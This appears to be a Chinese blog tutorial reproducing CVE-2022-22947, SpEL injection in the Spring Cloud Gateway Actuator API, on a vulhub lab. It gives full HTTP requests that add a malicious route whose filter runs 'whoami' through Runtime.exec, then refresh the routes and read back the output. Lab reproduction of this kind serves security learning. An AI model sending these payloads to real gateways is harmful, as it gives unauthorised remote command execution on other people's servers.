漏洞原理
当使用可用于启用网关执行器的 Spring Cloud Gateway Server jar 时,SpEL也会被使用。而攻击者可以利用SpEL中的函数 StandardEvaluationContext,通过恶意输入来执行远程代码。
原文地址:https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/
Spring Cloud Gateway Actuator API SpEL表达式注入命令执行漏洞复现
打开vulhub,其安装方式可以查看https://blog.csdn.net/Tauil/article/details/125869410?spm=1001.2014.3001.5501,在靶机中输入
cd spring/CVE-2022-22947
sudo docker-compose up -d
sudo docker-compose ps
然后访问根据显示访问http://靶机IP:8080
当网页使用了Spring Cloud Gateway Actuator API,则可以通过GET方式访问 http://靶机IP:8080/actuator/gateway/routes查看其路由规则,因为这是个靶场,所以肯定是允许你访问的,正经网站肯定是不会给你访问的,Spring Cloud Gateway Actuator API的使用方式有
ID | HTTP方法 | 描述 |
---|---|---|
globalfilters | GET | 显示应用于路由的全局过滤器列表 |
routefilters | GET | 显示应用于特定路由的GatewayFilter工厂列表 |
refresh | POST | 刷新路由配置 |
routes | GET | 显示网关中定义的路由列表 |
routes/{id} | GET | 显示有关特定路线的信息 |
routes/{id} | POST | 将新路由添加到网关 |
routes/{id} | DELETE | 从网关删除现有路由 |
具体内容可以查看https://blog.csdn.net/qq_30285985/article/details/102995277
通过查看可以知道这里需要的参数有:
名称 | 作用 |
---|---|
route_id | 路线编号 |
filters | 过滤器链表 |
uri | 服务器地址 |
每一个过滤器中都包含有ShortcutConfigurable接口,该接口中的getValue方法就使用到了StandardEvaluationContext来解析SpEL表达式,所以我们可以选择任一过滤器进行使用,这里使用过滤器AddResponseHeader
打开burpsuite进行放包,我们需要添加一个新的路由到网关,添加新的路由需要用POST方式提交,而网关最终会将所有的请求交给过滤链表filters进行处理,所以我们将待执行的命令放到filters中,具体数据包为:
POST /actuator/gateway/routes/hacker HTTP/1.1
Host: 靶机IP:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/json
Content-Length: 331
{
"id": "hacker",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
然后使用refresh刷新路由配置,refresh也需要用POST方式提交,具体数据包为:
POST /actuator/gateway/refresh HTTP/1.1
Host: 靶机IP:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
浏览器访问http://靶机IP:8080/actuator/gateway/routes查看到路由表配置,此时可以看到多出了我们新添加的路由路径hacker,并且可以看到他已经成功执行了我们输入的命令:whoami